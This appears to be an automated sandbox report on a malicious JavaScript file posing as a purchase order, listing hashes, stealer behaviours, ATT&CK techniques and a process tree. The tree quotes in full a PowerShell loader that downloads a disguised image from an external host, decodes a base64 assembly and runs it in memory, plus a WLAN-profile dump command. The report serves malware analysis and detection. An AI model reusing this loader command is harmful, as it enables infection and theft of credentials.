e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d

General

Target

PURCHASE_ORDER.js
Size

16KB
MD5

5173d26d1ad641d21a4e46578c8ce893
SHA1

93fa6b081e5ef1b262b2497be0ec7ec8be766c20
SHA256

e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d
SHA512

8df3b7d0c5b41675eaae029688c1cf964d58b66c558e16a528d143c3559d60dfcf4da5c44cb7b112a9123e7dc49e460e99cf862f6b743e1691804f78b89b349c
SSDEEP

192:P42HOwZ0qshWZ7Va6uadY7Va630PpMx2GjdJZu8HheVkiVUT:P42HO+0ApuPEP+28M8HheWz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	4492	wscript.exe
3	4492	wscript.exe
5	4492	wscript.exe
6	2376	powershell.exe
7	2376	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
4	icanhazip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2376 set thread context of 2228	2376	powershell.exe	79

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2376	powershell.exe
2376	powershell.exe
2228	RegAsm.exe
2228	RegAsm.exe
2228	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2228	RegAsm.exe
Token: SeSecurityPrivilege	1360	msiexec.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 2376	4492	wscript.exe	77
PID 4492 wrote to memory of 2376	4492	wscript.exe	77
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2376 wrote to memory of 2228	2376	powershell.exe	79
PID 2228 wrote to memory of 2868	2228	RegAsm.exe	81
PID 2228 wrote to memory of 2868	2228	RegAsm.exe	81
PID 2228 wrote to memory of 2868	2228	RegAsm.exe	81
PID 2868 wrote to memory of 1192	2868	cmd.exe	84
PID 2868 wrote to memory of 1192	2868	cmd.exe	84
PID 2868 wrote to memory of 1192	2868	cmd.exe	84
PID 2868 wrote to memory of 4352	2868	cmd.exe	85
PID 2868 wrote to memory of 4352	2868	cmd.exe	85
PID 2868 wrote to memory of 4352	2868	cmd.exe	85
PID 2868 wrote to memory of 4524	2868	cmd.exe	86
PID 2868 wrote to memory of 4524	2868	cmd.exe	86
PID 2868 wrote to memory of 4524	2868	cmd.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PURCHASE_ORDER.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.4848/541.93.321.39//:ptth' , 'desativado' , 'C:\Windows\Temp\' , 'File_Name_JS'))}}
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2868
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1192
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        
        PID:4352
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        
        PID:4524

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wifec0er.tc0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2228-91-0x00000000071A0000-0x0000000007746000-memory.dmp

Filesize
5.6MB

Download
memory/2228-42-0x0000000006720000-0x00000000068E2000-memory.dmp

Filesize
1.8MB

Download
memory/2228-93-0x00000000747E0000-0x0000000074F91000-memory.dmp

Filesize
7.7MB

Download
memory/2228-92-0x0000000006AF0000-0x0000000006B82000-memory.dmp

Filesize
584KB

Download
memory/2228-96-0x00000000747E0000-0x0000000074F91000-memory.dmp

Filesize
7.7MB

Download
memory/2228-35-0x0000000005370000-0x0000000005380000-memory.dmp

Filesize
64KB

Download
memory/2228-65-0x0000000006330000-0x00000000063A6000-memory.dmp

Filesize
472KB

Download
memory/2228-94-0x0000000007750000-0x0000000007C7C000-memory.dmp

Filesize
5.2MB

Download
memory/2228-38-0x0000000006150000-0x0000000006162000-memory.dmp

Filesize
72KB

Download
memory/2228-37-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Filesize
408KB

Download
memory/2228-28-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/2228-36-0x0000000005900000-0x00000000059E6000-memory.dmp

Filesize
920KB

Download
memory/2228-33-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/2228-34-0x00000000747E0000-0x0000000074F91000-memory.dmp

Filesize
7.7MB

Download
memory/2376-23-0x00007FFBF5D70000-0x00007FFBF6832000-memory.dmp

Filesize
10.8MB

Download
memory/2376-31-0x00007FFBF5D70000-0x00007FFBF6832000-memory.dmp

Filesize
10.8MB

Download
memory/2376-27-0x000001B790000000-0x000001B79054C000-memory.dmp

Filesize
5.3MB

Download
memory/2376-26-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

Filesize
64KB

Download
memory/2376-25-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

Filesize
64KB

Download
memory/2376-24-0x000001B7D3290000-0x000001B7D32A0000-memory.dmp

Filesize
64KB

Download
memory/2376-22-0x000001B7EB970000-0x000001B7EB992000-memory.dmp

Filesize
136KB

Download
memory/4492-9-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

Filesize
9.6MB

Download
memory/4492-13-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

Filesize
9.6MB

Download
memory/4492-11-0x00007FFBF7730000-0x00007FFBF80D1000-memory.dmp

Filesize
9.6MB

Download
memory/4492-10-0x0000011CB67F0000-0x0000011CB6800000-memory.dmp

Filesize
64KB

Download

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